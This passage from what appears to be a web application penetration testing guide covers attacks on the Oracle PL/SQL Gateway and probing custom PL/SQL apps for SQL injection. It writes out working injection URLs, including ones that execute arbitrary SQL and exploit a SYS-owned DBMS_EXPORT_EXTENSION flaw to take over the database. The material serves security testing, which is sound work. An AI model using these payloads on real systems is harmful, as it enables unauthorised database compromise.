4.0

118
Web Application Penetration Testing
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO
An attacker should pick one of these functions that is actually
available on the target system (i.e., returns a 200 OK when requested).
As a test, an attacker can request
http: /server.example.com/pls/dad/orasso.home?FOO=BAR
http: /www.example.com/pls/dad/orasso.home?);OWA_
UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_
USERS
To execute arbitrary SQL, including DML and DDL statements, the
attacker inserts an execute immediate :1:
http: /server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual
the server should return a “404 File Not Found” response because
the orasso.home procedure does not require parameters and one
has been supplied. However, before the 404 is returned, the following
PL/SQL is executed:
..
..
if ((owa_match.match_pattern(‘orasso.home’, simple_
list__, complex_list__, true))) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..
Note the presence of FOO in the attacker’s query string. Attackers
can abuse this to run arbitrary SQL. First, they need to close the
brackets:
http: /server.example.com/pls/dad/orasso.home?);--=BAR
This results in the following PL/SQL being executed:
..
orasso.home();--=>:);--);
..
Note that everything after the double minus (--) is treated as a
comment. This request will cause an internal server error because
one of the bind variables is no longer used, so the attacker needs
to add it back. As it happens, it’s this bind variable that is the key to
running arbitrary PL/SQL. For the moment, they can just use HTP.
PRINT to print BAR, and add the needed bind variable as :1:
http: /server.example.com/pls/dad/orasso.home?);HTP.
PRINT(:1);--=BAR
This should return a 200 with the word “BAR” in the HTML. What’s
happening here is that everything after the equals sign - BAR in
this case - is the data inserted into the bind variable. Using the
same technique it’s possible to also gain access to owa_util.cellsprint
again:
Note that the output won’t be displayed. This can be leveraged to
exploit any PL/SQL injection bugs owned by SYS, thus enabling an
attacker to gain complete control of the backend database server.
For example, the following URL takes advantage of the SQL injection
flaws in DBMS_EXPORT_EXTENSION (see http: /secunia.
com/advisories/19860)
http: /www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20
VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_IN-
DEX_TABLES
(‘INDEX_NAME’,’INDEX_SCHEMA’,’DBMS_OUTPUT.PUT_
LINE(:p1);
EXECUTE%20IMMEDIATE%20’’CREATE%20OR%20RE-
PLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.
OWA_UTIL’’;
END;--’,’SYS’,1,’VER’,0);END;
Assessing Custom PL/SQL Web Applications
During black box security assessments, the code of the custom
PL/SQL application is not available, but it still needs to be assessed
for security vulnerabilities.
Testing for SQL Injection
Each input parameter should be tested for SQL injection flaws.
These are easy to find and confirm. Finding them is as easy as
embedding a single quote into the parameter and checking for error
responses (which include 404 Not Found errors). Confirming
the presence of SQL injection can be performed using the concatenation
operator.
For example, assume there is a bookstore PL/SQL web application
that allows users to search for books by a given author:
http: /www.example.com/pls/bookstore/books.search?author=DICKENS
If this request returns books by Charles Dickens, but
http: /www.example.com/pls/bookstore/books.search?author=DICK’ENS
returns an error or a 404, then there might be a SQL injection flaw.
This can be confirmed by using the concatenation operator: